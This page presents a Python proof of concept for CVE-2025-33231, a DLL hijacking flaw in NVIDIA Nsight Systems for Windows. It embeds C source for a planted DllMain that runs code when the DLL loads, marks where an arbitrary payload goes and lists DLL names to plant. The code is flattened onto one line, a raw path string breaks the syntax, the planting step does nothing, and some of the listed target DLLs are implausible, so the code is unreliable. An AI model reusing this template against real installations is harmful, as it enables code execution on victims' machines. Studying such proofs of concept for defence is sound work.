CVE-2025-33231: NVIDIA Nsight Systems Windows DLL劫持漏洞

# CVE-2025-33231 DLL Hijacking PoC # Target: NVIDIA Nsight Systems for Windows # Vulnerability: Insecure DLL Search Path import os import ctypes import sys def create_malicious_dll(): """ Generate malicious DLL that will be planted in the search path. This PoC demonstrates the DLL hijacking vulnerability. """ # Malicious DLL source code (to be compiled as DLL) dll_source = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Attacker can execute arbitrary code here // This PoC writes to a log file FILE *fp = fopen("C:\\\\temp\\\\cve_2025_33231_poc.log", "a"); if (fp) { fprintf(fp, "[!] DLL Hijacking Successful - CVE-2025-33231\\n"); fprintf(fp, "[!] Code execution achieved via malicious DLL\\n"); fprintf(fp, "[!] Process: %s\\n", GetCommandLine()); fclose(fp); } // Execute malicious payload here // system("calc.exe"); // Example: spawn calculator } return TRUE; } ''' return dll_source def get_vulnerable_dll_names(): """ Common DLL names that NVIDIA Nsight Systems may load unsafely. These are typical candidates for DLL hijacking attacks. """ return [ "nvcuda.dll", "nvapi64.dll", "nvsysinfo.dll", "Qt5Core.dll", "Qt5Gui.dll", "msvcrt.dll", "USER32.dll" ] def plant_dll(dll_name, target_path): """ Plant malicious DLL in target directory. In real attack, this requires write access to the DLL search path. """ malicious_dll_path = os.path.join(target_path, dll_name) print(f"[*] Planting malicious DLL: {malicious_dll_path}") print("[*] When NVIDIA Nsight Systems loads, the malicious DLL will execute") return True def main(): print("="*60) print("CVE-2025-33231 DLL Hijacking PoC") print("Target: NVIDIA Nsight Systems for Windows") print("="*60) # Step 1: Identify DLL search path vulnerability print("\n[Step 1] Identifying vulnerable DLL loading paths") # Step 2: Generate malicious DLL print("\n[Step 2] Generating malicious DLL payload") dll_source = create_malicious_dll() print("[+] Malicious DLL code generated") # Step 3: Plant DLL in search path print("\n[Step 3] Planting DLL in vulnerable search path") dll_names = get_vulnerable_dll_names() # Typical NVIDIA Nsight Systems installation path nsight_path = r"C:\Program Files\NVIDIA Corporation\Nsight Systems 2024.1\" for dll in dll_names: print(f"[*] Checking {dll}...") print("\n[!] PoC demonstration complete") print("[!] In a real attack, the malicious DLL would be executed") print("[!] when the victim launches NVIDIA Nsight Systems") if __name__ == "__main__": main()